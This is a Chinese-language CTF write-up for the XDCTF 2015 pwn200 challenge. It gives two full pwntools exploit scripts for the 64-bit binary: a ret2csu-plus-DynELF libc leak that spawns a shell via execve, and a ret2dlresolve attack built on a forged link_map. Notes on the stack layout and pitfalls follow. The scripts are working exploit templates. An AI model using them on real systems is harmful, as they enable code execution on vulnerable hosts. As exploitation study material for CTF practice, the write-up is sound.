事情的起因是我遇到了一道做过的题目,它的代码完全没有改变,只是程序变成了64位
以前我用DynELF直接打通了32位,现在来看64位发现少了一个gadget,于是我脑袋抽了,用“ret2dlresolve”搞了一上午
后来想到了利用“ret2csu”来控制DynELF中的“write”函数
发现这种组合的通用性还挺高,只要程序溢出至少“136字节”就可以打
于是想记录一下,让今后的我少走点弯路
2015-xdctf-pwn200
一次输入
64位,dynamically,开了NX
没有system,没有“/bin/sh”
函数write可以输出的值就是字符串的长度“23字节”
vuln中有read,可以输入“256字节”
入侵思路
程序溢出了“144字节”,有write函数,可以有多种方法打通
DynELF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import *
p=process('./main_partial_relro_64') elf=ELF('./main_partial_relro_64')
write_got=elf.got['write'] read_got=elf.got['read'] main_addr=0x40066E fun_addr=0x400637 bss_addr=0x601050+0x200
csu_front_addr=0x000000000400780 csu_end_addr=0x00000000040079A print("write_got >> "+hex(write_got))
def csu(rbx, rbp, r12, r13, r14, r15, last): payload = b'a'*0x70 + b'b'*0x8 payload += p64(csu_end_addr) payload += p64(rbx) + p64(rbp)+p64(r12) +p64(r13)+p64(r14)+p64(r15) payload += p64(csu_front_addr) payload += b'a' * 0x38 payload += p64(last) p.send(payload) sleep(1)
def leak(addr): p.recvuntil("Welcome to XDCTF2015~!\n") csu(0, 1, write_got, 1, addr, 8, main_addr) data=p.recv(8) log.info("%#x => %s" % (addr, (data or '').encode('hex'))) return data d=DynELF(leak,elf=elf)
execve_addr=d.lookup('execve','libc') print("execve_addr: "+hex(execve_addr))
payload=p64(execve_addr)+b'/bin/sh' csu(0, 1, read_got, 0, bss_addr, len(payload), main_addr) p.send(payload)
csu(0, 1, bss_addr, bss_addr+8, 0, 0, main_addr)
p.interactive()
|
注意:(每一条都是血的教训)
因为DynELF模块在执行的过程中会输出一下字符串,所以“p.recvuntil”必须有
不同程序的csu可能不同,有时需要修改模板
另外我也尝试过用“system”但是打不通(可能是环境问题)
1
| csu(0, 1, write_got, 1, addr, 8, main_addr)
|
用csu包装的函数视乎只认识GOT表,用其他的就报错
1 2 3 4 5 6
| payload=p64(execve_addr)+b'/bin/sh' csu(0, 1, read_got, 0, bss_addr, len(payload), main_addr)
p.send(payload) csu(0, 1, bss_addr, bss_addr+8, 0, 0, main_addr)
|
必须利用“read”把泄露出来的“execve”写在某个地址上,只有这样才可以调用“execve”
//我也尝试过用其他姿势来调用“execve”,但是都报错了
ret2dlresolve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import * context(os='linux',arch='amd64',log_level='debug')
r = process('./main_partial_relro_64') elf = ELF('./main_partial_relro_64') libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') read_plt = elf.plt['read'] write_got = elf.got['write'] vuln_addr = elf.sym['vuln'] bss = 0x601050 bss_stage = bss + 0x100 l_addr = libc.sym['system'] -libc.sym['write']
pop_rdi = 0x4007a3 pop_rsi = 0x4007a1 plt_load = 0x400506
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): linkmap = p64(offset & (2 ** 64 - 1)) linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18) linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) linkmap += p64(0x7) linkmap += p64(0) linkmap += p64(0) linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8) linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68,b'A') linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8,b'A') linkmap += p64(fake_linkmap_addr + 0x8) return linkmap
fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr) payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , pop_rsi , 0 ,0 , pop_rdi , bss_stage + 0x48 , plt_load , bss_stage , 0 )
""" read_plt触发时输入‘fake_link_map’,plt_load就是dl_runtime_resolve,控制程序手段执行dl_runtime_resolve,此时‘bss_stage’被当做第一个参数,‘0’被当做第二个参数 """
r.recvuntil('Welcome to XDCTF2015~!\n') r.sendline(payload)
r.send(fake_link_map)
r.interactive()
|
可以来看一下fake_Linkmap_payload的栈帧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 0000| fake_linkmap_addr+0x00 --> offset 0008| fake_linkmap_addr+0x08 --> 0 0010| fake_linkmap_addr+0x10 --> fake_linkmap_addr + 0x18 0018| fake_linkmap_addr+0x18 --> fake_linkmap_addr + 0x30 - offset 0020| fake_linkmap_addr+0x20 --> 0x7 0028| fake_linkmap_addr+0x28 --> 0 0030| fake_linkmap_addr+0x30 --> 0 0038| fake_linkmap_addr+0x38 --> 0 0040| fake_linkmap_addr+0x40 --> known_func_ptr - 0x8 0048| fake_linkmap_addr+0x48 --> b'/bin/sh\x00' .................................... 0068| fake_linkmap_addr+0x68 --> fake_linkmap_addr 0070| fake_linkmap_addr+0x70 --> fake_linkmap_addr + 0x38 .................................... 00f8| fake_linkmap_addr+0xf8 --> fake_linkmap_addr + 0x8
|
dl_runtime_resolve被手动调用时,会读取“bss_stage”上的数据为“link_map”然后获取“JMPREL”,“SYMTAB”,“DT_STRTAB”,问题的关键就在于把它们三个的 “索引” 都弄成“0”,才能进行伪装
这种伪装方式不需要“JMPREL”,“SYMTAB”,“DT_STRTAB”的地址,只要一个已知函数的GOT表地址,和libc版本就可以了
注意:
重定位入口的符号类型(一般为“0x7”)在“JMPREL”中看